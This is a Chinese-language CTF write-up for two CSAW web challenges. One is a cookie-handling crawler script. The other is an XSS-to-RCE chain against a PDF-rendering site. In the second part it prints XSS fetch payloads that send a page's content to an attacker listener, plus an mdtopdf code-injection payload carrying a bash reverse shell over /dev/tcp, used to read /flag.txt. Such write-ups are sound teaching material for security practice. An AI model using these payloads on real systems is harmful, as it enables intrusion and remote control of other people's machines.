Web
Word wide web
使用爬虫截取返回信息,用正则匹配寻找有效的 <a
标签,匹配href后的路径并重复访问,直到找到flag。网页会用cookie检测用户,相应头中有字段 "Set-Cookie" 表示新cookie的值,将cookie设置为相应的值后再次发送即可完成认证,最后停止即可得到flag
手动设置cookie:
import requests
import re
url="http://web.chal.csaw.io:5010"
reg="/stuff"
ck={"solChain":"stuff"}
cnt=0
while 1:
strhtml = requests.get(url+reg,cookies=ck) #设置cookie
regs=re.findall("<a href=\"(/[^>\"]*)\">",strhtml.text) #寻找href
cnt+=1
headers=strhtml.headers
print(headers)
try:
print(headers['Set-Cookie'])
reg_one=re.findall("solChain=([^;]*)",headers['Set-Cookie']) #提取新cookie
except:
print(cnt)
print(strhtml.text) #回显flag
print("no cookie!")
break
ck["solChain"]=reg_one[0] #设置cookie
print(ck)
if len(regs)==0:
print(cnt)
break
else:
reg=regs[0]
用session保持会话自动存储cookie:
import requests
import re
req=requests.session()
url="http://web.chal.csaw.io:5010"
reg="/stuff"
cnt=0
while 1:
strhtml = req.get(url+reg) #设置cookie
regs=re.findall("<a href=\"(/[^>\"]*)\">",strhtml.text) #寻找href
cnt+=1
if len(regs)==0:
print(cnt)
print(strhtml.text) #回显flag
break
else:
reg=regs[0]
My little website
先访问自己的服务器,关闭一下防火墙先:CentOS-firewalld防火墙设置
<script>
fetch('http://myIp:23333');
</script>
Ncat: Connection from 35.88.90.167.
Ncat: Connection from 35.88.90.167:59630.
GET / HTTP/1.1
Host: myIp:23333
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/106.0.5249.0 Safari/537.36
Accept: */*
Origin: http://localhost:44791
Referer: http://localhost:44791/
Accept-Encoding: gzip, deflate
Accept-Language: en-US
得到的回显如上,接收到一些信息,如UA和Origin:host、referer和origin的区别
若是使用https协议访问服务器,会导致服务器接受到乱码信息
由于origin显示的是服务器的地址,因此它应该可以访问自己,尝试访问其本地的内容并将其渲染出来:
<script>
fetch('/')
.then(response => response.text())
.then(data => document.write(" <pre> "+data));
</script>
这里的主要问题在于如何将fetch到的内容渲染出来,一方面使用document.write(str)将字符串写入当前的文件中,另一方面fetch返回的response中 text()
函数对应于 json()
可以将访问得到响应内容的主体部分,也就是HTML内容以文本的形式返回回来。(一开始遇到的主要问题是不知道这个response到底把HTML内容放哪去了)由于写进去的是字符串内容,可以直接在前面连接一个 <pre>
标签,保留目标内容中的空白字符,使得展示的内容有缩进。(直接展示会合并空白字符导致可读性差)
进去以后会发现有个node.js存放依赖列表的package.json文件,其中有个依赖是"mdtopdf 4.0.0",搜索相关的CVE会发现它在5.0.0版本前有个RCE漏洞,直接搜索可找到PoC,将payload换成revshell内容即可:
---js
((require("child_process")).execSync("bash -c 'bash -i >& /dev/tcp/ip/23333 0>&1 '"))
---RCE
PoC中的第一个n其实是\n,而且这个漏洞看起来非常的奇怪,也不知道是怎么实现的rce(好像这诡异的注释都是RCE的原因)
由于默认的shell是sh,而sh没法revshell,因此手动用bash读取命令,最后的单双引号中至少要有一个前面有一个空格,否则就无法成功,原因不明。
得到shell后直接 cat /flag.txt
即可得到flag:CTF{pdf_c0nt1nu3s_70_5uCK}